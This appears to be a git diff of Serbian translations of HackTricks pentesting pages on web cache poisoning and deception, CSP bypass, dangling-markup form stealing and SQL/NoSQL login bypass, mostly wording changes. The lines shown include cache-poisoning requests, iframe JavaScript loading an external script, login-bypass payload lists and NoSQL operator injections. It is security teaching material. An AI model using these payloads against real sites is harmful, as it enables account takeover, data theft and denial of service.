-47,16 +47,16 @@ Sa identifikovanim parametrom/hedderom proverite kako se **sanitizuje** i **gde* ### Dobijanje keširanog odgovora -Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi. +Kada identifikujete **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi. Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\ Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800` -Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neključevi. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`. +Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično bez ključa. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`. Još jedan heder povezan sa kešom je **`Age`**. Definiše vreme u sekundama koliko je objekat bio u proxy kešu. -Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno** korišćeni kao **ključni** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše. +Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno** korišćeni kao **ključ** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše. ## Primeri eksploatacije @@ -71,15 +71,15 @@ X-Forwarded-Host: a.">" ``` _Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_ -### Trovanje keša za DoS +### Trovanje kešom za DoS {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima +### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima -Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni odgovor iz keša. +Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni keš odgovor. ```markup GET / HTTP/1.1 Host: vulnerable.com @@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md ### Trovanje keša sa prelazom putanje za krađu API ključa -[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera. +[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što se poklapa sa `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera. Ovo je takođe bolje objašnjeno u: @@ -114,7 +114,7 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Iskorišćavanje sa ograničenim `Vary` headerom +### Iskorišćavanje sa ograničenim `Vary` header-om Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da exfiltrirate User-Agent žrtve i otrovate keš koristeći taj user agent: ```markup @@ -138,25 +138,25 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parameter Cloacking -Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i zloupotrebu njih. +Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Saznajte ovde kako izvesti [Cache Poisoning napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Automated testing for Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning. Podržava mnoge različite tehnike i veoma je prilagodljiv. +The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. -Primer korišćenja: `wcvs -u example.com` +Example usage: `wcvs -u example.com` ## Vulnerable Examples ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit. +ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat ka backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit. ### GitHub CP-DoS @@ -164,7 +164,7 @@ Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. ### GitLab + GCP CP-DoS -GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`. +GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`. ### Rack Middleware (Ruby on Rails) @@ -184,7 +184,7 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v ### Illegal Header Fields -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) definiše prihvatljive karaktere u nazivima headera. Headeri koji sadrže karaktere van specificiranog **tchar** opsega bi idealno trebali izazvati 400 Bad Request odgovor. U praksi, serveri ne prate uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira svaku 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je iskoristiv obrazac gde slanje headera sa nelegalnim karakterom, kao što je `\`, rezultira keširanim 400 Bad Request greškom. +The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error. ### Finding new headers @@ -192,9 +192,9 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v ## Cache Deception -Cilj Cache Deception-a je da natera klijente **da učitaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama**. +Cilj Cache Deception-a je da se klijenti **učitavaju resurse koji će biti sačuvani od strane keša sa njihovim osetljivim informacijama**. -Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika. +Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako **aplikacija** **ponavlja** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika. Druge stvari za testiranje: @@ -203,19 +203,19 @@ Druge stvari za testiranje: - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Koristite manje poznate ekstenzije kao što su_ `.avif` +- _Use lesser known extensions such as_ `.avif` Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\ Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili. -Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što se očekuje za _.css_ datoteku). +Napomena da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime type (što se očekuje za _.css_ datoteku). -Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Automatic Tools -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti web cache poisoning u listi URL-ova i testiranje više tehnika injekcije. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti keširanja weba u listi URL-ova i testiranje više tehnika injekcije. ## References diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 78b977f78..be276736b 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -15,7 +15,7 @@ X-Oversize-Hedear:Big-Value-000000000000000 ``` - **HTTP Meta Character (HMC) & Neočekivane vrednosti** -Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš. +Pošaljite header koji sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš. ``` GET / HTTP/1.1 Host: redacted.com @@ -63,7 +63,7 @@ Cache: miss ``` - **Long Redirect DoS** -Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekeširanog x ključa dobiti odgovor sa greškom: +Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmeravanje da napravi preusmeravanje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com @@ -92,7 +92,7 @@ Not Found ``` - **Normalizacija putanje** -Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, keš server će URLdecode putanju i sačuvati odgovor za URLdecoded putanju: +Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 8fc60ebcd..9a5a1ab9a 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,21 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na trošenje keša **zloupotrebljavajući razlike između keš proxy-a i web servera.** +Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na keš **zloupotrebljavajući razlike između keš proxy-a i web servera.** > [!NOTE] -> Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao ključ keša, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitati dinamičku stranicu (koja može sadržati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa sajta napadača, na primer). +> Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao keš ključ, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitati dinamičku stranicu (koja može čuvati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa sajta napadača, na primer). ## Delimiters -**Delimiters URL-a** variraju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters porekla su: +**URL delimiters** se razlikuju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters su: -- **Tačka i zarez**: Koristi se u Spring-u za matrice varijabli (npr. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). -- **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css` → `/MyAccount`). +- **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css` → `/MyAccount`) - **Null Byte**: Skraćuje putanje u OpenLiteSpeed (npr. `/MyAccount%00aaa` → `/MyAccount`). -- **Newline Byte**: Razdvaja komponente URL-a u Nginx-u (npr. `/users/MyAccount%0aaaa` → `/account/MyAccount`). +- **Newline Byte**: Razdvaja URL komponente u Nginx (npr. `/users/MyAccount%0aaaa` → `/account/MyAccount`). -Drugi specifični delimiters mogu se naći prateći ovaj proces: +Ostali specifični delimiters mogu se naći prateći ovaj proces: - **Korak 1**: Identifikujte ne-kešabilne zahteve i koristite ih za praćenje kako se URL-ovi sa potencijalnim delimiterima obrađuju. - **Korak 2**: Dodajte nasumične sufikse putanjama i uporedite odgovor servera kako biste utvrdili da li karakter funkcioniše kao delimiter. @@ -24,19 +23,19 @@ Drugi specifični delimiters mogu se naći prateći ovaj proces: ## Normalization & Encodings -- **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i ključeve keša. -- **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem tačaka-segmenta. +- **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i keš ključeve. +- **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem dot-segmenta. ### **Encodings** -Različiti HTTP serveri i proxy-i poput Nginx-a, Node-a i CloudFront-a dekodiraju delimitere na različite načine, što dovodi do nedoslednosti između CDN-ova i izvornih servera koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam` → `/myAccount?param`, ali keš server zadrži kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost. +Različiti HTTP serveri i proxy-ji poput Nginx, Node i CloudFront dekodiraju delimitere na različite načine, što dovodi do nedoslednosti između CDN-ova i izvornih servera koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam` → `/myAccount?param`, ali keš server čuva kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost. Način da se proveri za ove nedoslednosti je slanje zahteva URL kodirajući različite karaktere nakon učitavanja putanje bez ikakvog kodiranja i provera da li je odgovor kodirane putanje došao iz keširanog odgovora. ### Dot segment -Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na trošenje keša. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok drugi mogu rešiti putanju i koristiti `/home/index` kao ključ keša.\ -Baš kao i pre, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene. +Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na keš. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok će drugi možda rešiti putanju i koristiti `/home/index` kao keš ključ.\ +Baš kao i ranije, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene. ## Static Resources @@ -44,7 +43,7 @@ Nekoliko keš servera će uvek keširati odgovor ako je identifikovan kao stati - **Ekstenzije**: Cloudflare će uvek keširati datoteke sa sledećim ekstenzijama: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter i statičku ekstenziju kao što je zahtev za `/home$image.png` koji će keširati `/home$image.png`, a izvorni server će odgovoriti sa `/home` -- **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statične datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared +- **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statičke datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared - Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter, statički direktorijum i tačke kao: `/home/..%2fstatic/something` će keširati `/static/something`, a odgovor će biti `/home` - **Statički direktorijumi + tačke**: Zahtev za `/static/..%2Fhome` ili za `/static/..%5Chome` može biti keširan kakav jeste, ali odgovor može biti `/home` - **Statičke datoteke:** Neke specifične datoteke se uvek keširaju kao što su `/robots.txt`, `/favicon.ico`, i `/index.html`. Što se može zloupotrebiti kao `/home/..%2Frobots.txt` gde keš može čuvati `/robots.txt`, a izvorni server odgovara na `/home`. diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 486027c23..68b6259dc 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## Šta je CSP -Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`. +Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`. Implementacija CSP se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu. @@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Headers -CSP se može primeniti ili pratiti koristeći ove zaglavlja: +CSP može biti primenjen ili praćen korišćenjem ovih zaglavlja: - `Content-Security-Policy`: Primena CSP; pregledač blokira sve prekršaje. - `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima. @@ -39,12 +39,12 @@ object-src 'none'; ``` ### Direktive -- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događajima ili XSLT stilove. -- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada su specifične direktive za preuzimanje odsutne. +- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove. +- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne. - **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima. - **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest. - **frame-src**: Ograničava URL-ove za okvire. -- **frame-ancestors**: Specifikuje koji izvori mogu ugnježditi trenutnu stranicu, primenljivo na elemente kao što su ``, ` ``` U [**ovoj CTF analizi**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injekcije** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI onemogućena i stoga je **ranjivost postala iskoristiva.**\ -CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte se mogu onemogućiti **uklanjanjem** **ulaza** koji omogućava njihov **nonce** i **omogućavanjem specifične inline skripte putem sha**: +CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte se mogu onemogućiti **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanjem specifične inline skripte putem sha**: ```html [!NOTE] -> Очигледно, ова техника не ради у headless прегледачима (ботовима) +> Очигледно, ова техника не ради у безглавим прегледачима (ботовима) ### WebRTC diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 336cec3ec..2370ca11e 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -4,13 +4,13 @@ Konfiguracija kao što je: ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` -Zabranjuje korišćenje bilo kojih funkcija koje izvršavaju kod prenet kao string. Na primer: `eval, setTimeout, setInterval` će svi biti blokirani zbog podešavanja `unsafe-eval` +Zabranjuje korišćenje bilo kojih funkcija koje izvršavaju kod prenet kao string. Na primer: `eval, setTimeout, setInterval` će svi biti blokirani zbog podešavanja `unsafe-eval`. -Bilo koji sadržaj iz spoljašnjih izvora je takođe blokiran, uključujući slike, CSS, WebSockets, i, posebno, JS +Svi sadržaji iz spoljašnjih izvora su takođe blokirani, uključujući slike, CSS, WebSockets, i, posebno, JS. ### Putem Teksta i Slika -Primećeno je da moderni pregledači konvertuju slike i tekstove u HTML kako bi poboljšali njihovo prikazivanje (npr. postavljanje pozadina, centriranje, itd.). Kao rezultat toga, ako se slika ili tekstualna datoteka, kao što su `favicon.ico` ili `robots.txt`, otvori putem `iframe`, prikazuje se kao HTML. Važno je napomenuti da ove stranice često nemaju CSP zaglavlja i možda ne uključuju X-Frame-Options, omogućavajući izvršavanje proizvoljnog JavaScript-a iz njih: +Primećeno je da moderni pregledači konvertuju slike i tekstove u HTML kako bi poboljšali njihovu prikaz (npr. postavljanje pozadina, centriranje, itd.). Kao rezultat, ako se slika ili tekstualna datoteka, kao što su `favicon.ico` ili `robots.txt`, otvori putem `iframe`, prikazuje se kao HTML. Važno je napomenuti da ove stranice često nemaju CSP zaglavlja i možda neće uključivati X-Frame-Options, omogućavajući izvršavanje proizvoljnog JavaScript-a iz njih: ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" @@ -45,7 +45,7 @@ for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` -Nakon aktiviranja bilo kojeg od pomenutih scenarija, izvršavanje JavaScript-a unutar iframe-a se može postići na sledeći način: +Nakon aktiviranja bilo kojeg od pomenutih scenarija, izvršavanje JavaScript-a unutar iframe-a je moguće na sledeći način: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 6893c4010..3fd8924ee 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -32,12 +32,12 @@ Možete takođe koristiti **`test ``` -### Kradanje formi +### Krađa formi ```html ``` @@ -65,9 +65,9 @@ Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlj ```html ` taga. Svi podaci do zatvorenog `` će biti poslati: +Možete učiniti isto injektovanjem forme i `` će biti poslati: ```html
Click Me` ## Automatski alati diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md index 3b684634f..f02f809ee 100644 --- a/src/pentesting-web/login-bypass/sql-login-bypass.md +++ b/src/pentesting-web/login-bypass/sql-login-bypass.md @@ -2,7 +2,7 @@ Ova lista sadrži **payloads za zaobilaženje prijave putem XPath, LDAP i SQL injekcije** (u tom redosledu). -Način korišćenja ove liste je da se **prvih 200 redova stavi kao korisničko ime i lozinka.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku, dok unosite neku lozinku (kao što je _Pass1234._) ili neko poznato korisničko ime (kao što je _admin_). +Način korišćenja ove liste je da se **prvih 200 redova stavi kao korisničko ime i lozinka.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku dok unosite neku lozinku (kao što je _Pass1234._) ili neko poznato korisničko ime (kao što je _admin_). ``` admin password diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 3ee4d7b8e..b4f21dcf4 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` -### Zaobilaženje osnovne autentifikacije +### Bypass osnovne autentifikacije **Korišćenje not equal ($ne) ili greater ($gt)** ```bash @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -Napadač može iskoristiti ovo unosom stringova kao što su `admin' || 'a'=='a`, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom (`'a'=='a`). Ovo je analogno SQL injection napadima gde se unosi kao što su `' or 1=1-- -` koriste za manipulaciju SQL upitima. U MongoDB, slične injekcije mogu se izvršiti koristeći unose kao što su `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`. +Napadač može iskoristiti ovo unosom stringova kao što su `admin' || 'a'=='a`, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom (`'a'=='a`). Ovo je analogno SQL injection napadima gde se unosi poput `' or 